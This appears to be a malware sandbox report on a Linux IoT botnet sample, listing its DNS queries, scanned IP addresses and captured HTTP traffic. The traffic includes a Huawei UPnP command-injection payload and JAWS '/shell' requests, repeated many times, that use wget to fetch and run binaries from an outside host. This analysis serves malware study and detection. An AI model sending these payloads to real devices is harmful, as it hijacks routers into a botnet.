3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: /tmp/mpsl.elf (PID: 6221)

Socket: 127.0.0.1:46157

Jump to behavior

Source: unknown

DNS traffic detected: query: scamanje.stresserit.pro replaycode: Name error (3)

Source: unknown	TCP traffic detected without corresponding DNS query: 27.19.155.159
Source: unknown	TCP traffic detected without corresponding DNS query: 97.224.243.28
Source: unknown	TCP traffic detected without corresponding DNS query: 129.60.203.27
Source: unknown	TCP traffic detected without corresponding DNS query: 122.0.18.29
Source: unknown	TCP traffic detected without corresponding DNS query: 181.201.235.232
Source: unknown	TCP traffic detected without corresponding DNS query: 212.252.248.56
Source: unknown	TCP traffic detected without corresponding DNS query: 52.223.38.6
Source: unknown	TCP traffic detected without corresponding DNS query: 196.242.46.194
Source: unknown	TCP traffic detected without corresponding DNS query: 1.59.86.143
Source: unknown	TCP traffic detected without corresponding DNS query: 162.214.227.228
Source: unknown	TCP traffic detected without corresponding DNS query: 48.208.22.10
Source: unknown	TCP traffic detected without corresponding DNS query: 172.224.196.212
Source: unknown	TCP traffic detected without corresponding DNS query: 45.50.116.147
Source: unknown	TCP traffic detected without corresponding DNS query: 217.166.73.14
Source: unknown	TCP traffic detected without corresponding DNS query: 132.15.73.195
Source: unknown	TCP traffic detected without corresponding DNS query: 152.187.38.172
Source: unknown	TCP traffic detected without corresponding DNS query: 115.220.251.70
Source: unknown	TCP traffic detected without corresponding DNS query: 98.131.97.124
Source: unknown	TCP traffic detected without corresponding DNS query: 59.191.151.20
Source: unknown	TCP traffic detected without corresponding DNS query: 121.76.195.51
Source: unknown	TCP traffic detected without corresponding DNS query: 161.124.156.57
Source: unknown	TCP traffic detected without corresponding DNS query: 109.73.6.63
Source: unknown	TCP traffic detected without corresponding DNS query: 58.163.251.64
Source: unknown	TCP traffic detected without corresponding DNS query: 168.182.62.98
Source: unknown	TCP traffic detected without corresponding DNS query: 129.173.139.90
Source: unknown	TCP traffic detected without corresponding DNS query: 61.9.125.243
Source: unknown	TCP traffic detected without corresponding DNS query: 192.207.79.2
Source: unknown	TCP traffic detected without corresponding DNS query: 81.56.140.246
Source: unknown	TCP traffic detected without corresponding DNS query: 155.70.106.130
Source: unknown	TCP traffic detected without corresponding DNS query: 40.94.51.244
Source: unknown	TCP traffic detected without corresponding DNS query: 112.7.67.172
Source: unknown	TCP traffic detected without corresponding DNS query: 4.54.78.145
Source: unknown	TCP traffic detected without corresponding DNS query: 162.224.79.10
Source: unknown	TCP traffic detected without corresponding DNS query: 107.207.74.29
Source: unknown	TCP traffic detected without corresponding DNS query: 166.133.88.141
Source: unknown	TCP traffic detected without corresponding DNS query: 128.140.77.0
Source: unknown	TCP traffic detected without corresponding DNS query: 197.24.27.7
Source: unknown	TCP traffic detected without corresponding DNS query: 46.80.181.99
Source: unknown	TCP traffic detected without corresponding DNS query: 211.165.225.19
Source: unknown	TCP traffic detected without corresponding DNS query: 108.188.29.82
Source: unknown	TCP traffic detected without corresponding DNS query: 218.21.203.88
Source: unknown	TCP traffic detected without corresponding DNS query: 160.62.149.209
Source: unknown	TCP traffic detected without corresponding DNS query: 39.243.197.137
Source: unknown	TCP traffic detected without corresponding DNS query: 4.255.92.164
Source: unknown	TCP traffic detected without corresponding DNS query: 49.241.137.180
Source: unknown	TCP traffic detected without corresponding DNS query: 109.156.53.98
Source: unknown	TCP traffic detected without corresponding DNS query: 142.132.66.214
Source: unknown	TCP traffic detected without corresponding DNS query: 130.14.134.59
Source: unknown	TCP traffic detected without corresponding DNS query: 145.76.87.210
Source: unknown	TCP traffic detected without corresponding DNS query: 49.97.144.230

Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
